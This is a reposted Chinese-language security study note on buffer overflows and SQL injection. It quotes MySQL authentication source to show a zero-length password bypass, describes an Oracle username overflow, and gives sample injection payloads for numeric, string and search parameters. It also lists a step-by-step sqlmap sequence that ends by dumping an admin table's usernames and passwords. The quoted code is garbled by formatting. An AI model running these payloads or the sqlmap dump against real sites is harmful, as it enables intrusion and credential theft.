SqL注入攻擊實踐

來源:互聯網
上載者:User

標籤:無法自動   防範   現在   覆蓋   作業系統   sha   bsp   linu   利用   

研究緩衝區溢位的原理,至少針對兩種資料庫進行差異化研究

緩衝區溢位原理
緩衝區溢位是指當電腦程式向緩衝區內填充的資料位元數超過了緩衝區本身的容量。溢出的資料覆蓋在合法資料上。理想情況是,程式檢查資料長度並且不允許輸入超過緩衝區長度的字串。但是絕大多數程式都會假設資料長度總是與所分配的儲存空間相匹配,這就為緩衝區溢位埋下隱患。
原理

  • 針對mysql資料庫
    check_connection (sql_parse.cc):
    /
    Old clients send null-terminated string as password; new clients send
    the size (1 byte) + string (not null-terminated). Hence in case of
    empty
    password both send ‘\0‘.
    /
    uint passwd_len= thd->client_capabilities & CLIENT_SECURE_CONNECTION ?
    passwd++ : strlen(passwd);
    在‘client capabilities‘標記中提供0x8000,使用者可以指定passwd_len欄位的值。要利用漏洞攻擊選擇0x14(20)作為值,因為它等於SHA HASH長度,可以通過認識過程中的檢查。
    在通過幾個用於確保使用者來自許可主機的檢查後,認證過程就會進入如下代碼:
    /
    check password: it should be empty or valid /
    if (passwd_len == acl_user_tmp->salt_len)
    {
    if (acl_user_tmp->salt_len == 0 ||
    acl_user_tmp->salt_len == SCRAMBLE_LENGTH &&
    check_scramble(passwd, thd->scramble, acl_user_tmp->salt) == 0 ||
    check_scramble_323(passwd, thd->scramble,
    (ulong
    ) acl_user_tmp->salt) == 0)
    {
    acl_user= acl_user_tmp;
    res= 0;
    }
    }
    check_scramble函數會返回認證失敗,但查看check_scramble_323函數我們可以看到:
    my_bool
    check_scramble_323(const char scrambled, const char message,
    ulong hash_pass)
    {
    struct rand_struct rand_st;
    ulong hash_message[2];
    char buff[16],
    to,extra; /* Big enough for check /
    const char
    pos;
    hash_password(hash_message, message, SCRAMBLE_LENGTH_323);
    randominit(&rand_st,hash_pass[0] ^ hash_message[0],
    hash_pass[1] ^ hash_message[1]);
    to=buff;
    for (pos=scrambled ; pos ; pos++)
    to++=(char) (floor(my_rnd(&rand_st)31)+64);
    extra=(char) (floor(my_rnd(&rand_st)
    31));
    to=buff;
    while (scrambled)
    {
    if (
    scrambled++ != (char) (to++ ^ extra))
    return 1; /
    Wrong password */
    }
    return 0;
    }
    在這裡,使用零長度的scrambled串可繞過驗證,在函數最後的比較中如果scrambled串沒有字元,使函數返回‘0‘,允許使用者以零長度字串繞過驗證。
    另外基於堆棧的緩衝區buff可以被超長的scrambled串溢出,緩衝區被從my_rnd()函數輸出的字元溢出,字元範圍是0x40..0x5f,在部分平台下可能可以導致任意代碼執行。
  • Oracle資料庫伺服器登入長使用者名稱緩衝區溢位漏洞
    ORACLE資料庫服務程式在拷貝使用者名稱外部資料到本地記憶體緩衝區時沒有進行充分邊界檢查,遠程攻擊者可以利用這個漏洞對資料庫進行緩衝區溢位攻擊,可能以Oracle進程許可權在系統上執行任意指令。
    Oracle資料庫服務程式中處理驗證請求部分的代碼存在遠程可利用緩衝區溢位,通過傳遞超長使用者名稱給服務程式,遠程攻擊者可以觸發基於棧的溢出,精心構建使用者名稱資料可能以Oralce進程許可權在系統上執行任意指令,在Linux/Unix系統上為"Oracle"許可權,而在Windows系統下Local System許可權。
    多數Oracle的用戶端應用程式會截斷超長的使用者名稱再提供給資料庫,因此攻擊者需要寫自己的驗證用戶端來利用這個漏洞。不過NGSSoftware發現有一個用戶端工具LOADPSP可以允許超長使用者名稱輸入,使用者可以用來進行測試,工具在Oracle安裝目錄下的"bin"目錄下。

    針對不同資料類型,研究SQL注入點的發現與注入技術
  1. 數字型注入點
    形如“http://****?ID=55”,這類注入的參數是“數字”,因此稱為“數字型注入點”。
    此類注入點提交的SQL語句,其原形大致為:Select * from 表名 where 欄位=55
    當我們提交注入參數為“http://****?ID=55 And[查詢條件]”時,向資料庫提交的完整 SQL 陳述式為:
    Select * from 表名 where 欄位=55 And [查詢條件]
  2. 字元型注入點
    形如“http://****?Class=日期”這類注入的參數是“字元”,因此稱為“字元型”注入點。
    此類注入點提交的 SQL 陳述式,其原形大致為:
    select * from 表名 where 欄位=‘日期‘
    當我們提交注入參數為“http://****Class=日期 And[查詢條件]時,向資料庫提交的完整 SQL 陳述式為”:
    select * from 表名 where 欄位=‘日期‘ and [查詢條件]
  3. 搜尋型注入點
    這是一類特殊的注入類型。這類注入主要是指在進行資料搜尋時沒過濾搜尋參數,一般在連結地址中有“keyword=關鍵字”,有的不顯示的連結地址,而是直接通過搜尋方塊表單提交。
    此類注入點提交的 SQL 陳述式,其原形大致為:
    select * from 表名 where 欄位 like ‘%關鍵字%‘
    當我們提交注入參數為“keyword=‘and[查詢條件] and ‘%‘=‘,則向資料庫提交的完事SQL語句為:
    select * from 表名 where 欄位 like ‘%‘ and [查詢條件] and ‘%‘=‘%‘

    研究緩衝區溢位的防範方法,至少針對兩種程式設計語言進行差異化研究根據緩衝區溢位攻擊的步驟,可將常用的緩衝區溢位攻擊檢測技術分為以下3 種類型:基於輸入字串的檢測方法,基於保護堆棧中的返回地址的檢測方法和基於監視系統調用的檢測方法
  • 基於輸入字串的檢測方法
    對輸入的字串進行檢測,確定其為溢出攻擊字串時採取阻攔措施,使攻擊者無法注入攻擊代碼。一般有以下3 種方法構建溢出攻擊字串
    第1 種溢出攻擊字串適用於緩衝區大於ShellCode 長度的情況;第2 種溢出攻擊字串一般用於緩衝區小於ShellCode 長度的情況;第3 種方法是將ShellCode 放在環境變數裡,是目前較為常用的方法。
  • 基於保護堆棧中返回地址的檢測方法
    緩衝區溢位攻擊最關鍵的步驟是要通過修改函數返回地址來改變程式的流程,因此,在函數調用返回前,通過檢查返回地址是否被修改可以判斷是否有緩衝區溢位攻擊發生。
    緩衝區溢位攻擊佔了遠程網路攻擊的絕大多數,這種攻擊可以使得一個匿名的Internet使用者有機會獲得一台主機的部分或全部的控制權。如果能有效地消除緩衝區溢位的漏洞,則很大一部分的安全威脅可以得到緩解。 目前有三種基本的方法保護緩衝區免受緩衝區溢位的攻擊和影響: 1、通過作業系統使得緩衝區不可執行,從而阻止攻擊者植入攻擊代碼; 2、強制寫正確的代碼的方法; 3、利用編譯器的邊界檢查來實現緩衝區的保護,使得緩衝區溢位不可能出現,從而完全消除了緩衝區溢位的威脅。

    資料庫注入工具
  • sqlmap
  1. sqlmap.py -u "http://www.XXX.com/index.asp?id=1"
      判斷id參數是否存在注入:結果中包含 “id” is Vulnerable 欄位表示存在注入
      存在注入,下面的步驟才可以執行成功~
  2. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --dbs
      列舉能列出的所有資料庫名
  3. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --current-db
      列出當前使用的資料庫名,假設列出“sqltest”資料庫  
  4. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --is-dba
      判斷該注入點是否有管理員權限:返回true 表示是管理員
  5. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" --tables
      擷取sqltest中的所有表,假設有"admin"表
  6. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" --columns
      列舉表admin的欄位(列名),假設存在"username","password"欄位
  7. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" -C "username,password" --dump
      下載欄位username,password的值,若詢問是否破解md5加密,選擇no即可
      至此,對一個簡單的注入點(GET方式),現在就已經得到了我們想要的資料
    【*】注入demo之後會補上
  • 超級sql注入
    超級SQL注入工具(SSQLInjection)是一款基於HTTP協議自組包的SQL注入工具,支援出現在HTTP協議任意位置的SQL注入,支援各種類型的SQL注入,支援HTTPS模式注入。
    超級SQL注入工具(SSQLInjection)是一款基於HTTP協議自組包的SQL注入工具。
    超級SQL注入工具支援自動識別SQL注入,並自動設定,如程式無法自動識別,還可人工幹預識別注入,並標記注入位置。
    超級SQL注入工具支援出現在HTTP協議任意位置的SQL注入,支援各種類型的SQL注入,支援HTTPS模式注入。
    超級SQL注入工具支援Bool型盲注、錯誤顯示注入、Union注入等方式擷取資料。
    超級SQL注入工具支援Access、MySQL5以上版本、SQLServer、Oracle等資料庫。
    超級SQL注入工具支援手動靈活的進行SQL注入繞過,可自訂進行字元替換等繞過注入防護。
    超級SQL注入工具支援批量掃描SQL注入漏洞,可匯入網域名稱爬行一次連結後掃描,採用相似性演算法,漏洞、誤判率低於1%。

SqL注入攻擊實踐

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.